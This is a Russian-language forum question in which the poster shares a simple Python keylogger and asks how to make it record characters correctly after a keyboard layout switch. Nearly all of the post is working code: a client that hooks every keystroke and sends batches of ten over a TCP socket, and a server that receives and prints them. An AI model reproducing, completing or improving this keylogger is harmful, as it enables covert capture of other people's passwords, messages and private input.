Я попытался написать самый простой keylogger, но при смене языка программа продолжает дальше переводить символы начального языка , как можно это исправить ?
Сервер
import socket
sock = socket.socket()
sock.bind(('', 9090))
sock.listen(1)
conn, addr = sock.accept()
print ('connected:', addr)
while True:
data = conn.recv(1024)
print(data.decode())
Клиент
import keyboard
import socket
sock = socket.socket()
sock.connect(('localhost', 9090))
hook = ""
def server():
global hook
sock.send(str(hook).encode())
def print_pressed_keys(e):
global hook
hook = hook + str(e.name)
if len(hook) >= 10:
print(hook)
server()
hook = ""
keyboard.hook(print_pressed_keys)
keyboard.wait()